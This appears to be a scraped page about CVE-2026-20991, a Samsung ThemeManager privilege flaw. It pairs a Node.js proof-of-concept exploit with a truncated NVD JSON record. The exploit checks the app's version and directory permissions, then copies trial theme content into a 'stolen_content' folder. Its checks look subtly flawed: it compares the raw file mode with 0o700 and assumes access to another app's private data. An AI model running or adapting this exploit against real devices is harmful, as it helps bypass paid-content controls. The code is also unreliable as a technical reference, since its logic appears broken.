CVE-2026-20991

// CVE-2026-20991 PoC - Samsung ThemeManager权限绕过 // 适用范围：ThemeManager < SMR Mar-2026 Release 1 const fs = require('fs'); const path = require('path'); // 目标目录 const themeManagerPath = '/data/data/com.samsung.android.thememanager'; const trialContentPath = path.join(themeManagerPath, 'files/trial_content'); const targetPath = path.join(themeManagerPath, 'files/stolen_content'); // 检查漏洞条件 function checkVulnerability() { try { // 检查ThemeManager版本 const versionFile = path.join(themeManagerPath, 'shared_prefs/version.xml'); if (!fs.existsSync(versionFile)) { return { vulnerable: false, reason: 'ThemeManager not found' }; } const version = fs.readFileSync(versionFile, 'utf8'); if (version.includes('SMR Mar-2026 Release 1') || version.includes('2026.03.001')) { return { vulnerable: false, reason: 'Version patched' }; } // 检查试用内容目录权限 if (fs.existsSync(trialContentPath)) { const stats = fs.statSync(trialContentPath); // 漏洞：目录权限设置不当，允许非授权访问 if (stats.mode !== 0o700) { return { vulnerable: true, reason: 'Trial content accessible' }; } } return { vulnerable: false, reason: 'Unknown' }; } catch (e) { return { vulnerable: false, reason: e.message }; } } // 利用漏洞 function exploit() { try { if (!fs.existsSync(targetPath)) { fs.mkdirSync(targetPath, { recursive: true }); } // 复制试用内容 if (fs.existsSync(trialContentPath)) { const files = fs.readdirSync(trialContentPath); files.forEach(file => { const srcFile = path.join(trialContentPath, file); const destFile = path.join(targetPath, file); fs.copyFileSync(srcFile, destFile); }); return { success: true, message: 'Trial content copied' }; } return { success: false, message: 'Trial content not found' }; } catch (e) { return { success: false, message: e.message }; } } // 主函数 console.log('CVE-2026-20991 PoC'); console.log('Samsung ThemeManager Privilege Bypass'); const vulnCheck = checkVulnerability(); console.log('Vulnerability Check:', JSON.stringify(vulnCheck)); if (vulnCheck.vulnerable) { console.log('Exploiting...'); const result = exploit(); console.log('Exploit Result:', JSON.stringify(result)); }

{"cve": {"id": "CVE-2026-20991", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:09.877", "lastModified": "2026-03-20T13:46:34.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper privilege management in ThemeManager prior to SMR Mar-2026 Release 1 allows local privileged attackers to reuse trial contents."}, {"lang": "es", "value": "Gestión inadecuada de privilegios en ThemeManager anterior a SMR Mar-2026 Release 1 permite a atacantes locales privilegiados reutilizar contenidos de prueba."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:-:*:*:*:*:*:*", "matchCriteriaId": "3093F6FE-C562-4F62-97B7-CA0D2DDF9BBE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "9CBFF102-91A9-4BCC-BB43-912896BFCCEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "DAB2A0D7-8F4F-4128-AE09-D2658D793BF7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6A89AE5B-4D1A-4ADA-B572-38B1FC4ED54C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "3F58ACB0-BA2B-4AFE-91DC-32CBD70DFD73"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "401980A7-E64A-4773-83EB-C93B50AE0F73"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "CC6E2FC7-2BAF-4C7B-9E0F-D9F844041A35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6E12AB0B-728A-4478-B237-78CBAA2A44C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "26EEF3EC-643F-4A39-8F4C-11F0F534B589"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "0501033A-0D51-41E8-91A9-E72B6EE3F78D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "2A901EFE-90BA-474C-88D2-8A3E7D99C0E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "DF7B3213-520A-49F0-A183-C73A37A56854"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "9AB6398C-6A3E-4146-9A5C-595BE36047BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "00EE2529-013A-4F73-8D86-BD1AD613028D"}, {"vulnerable": true, "cri ... (truncated)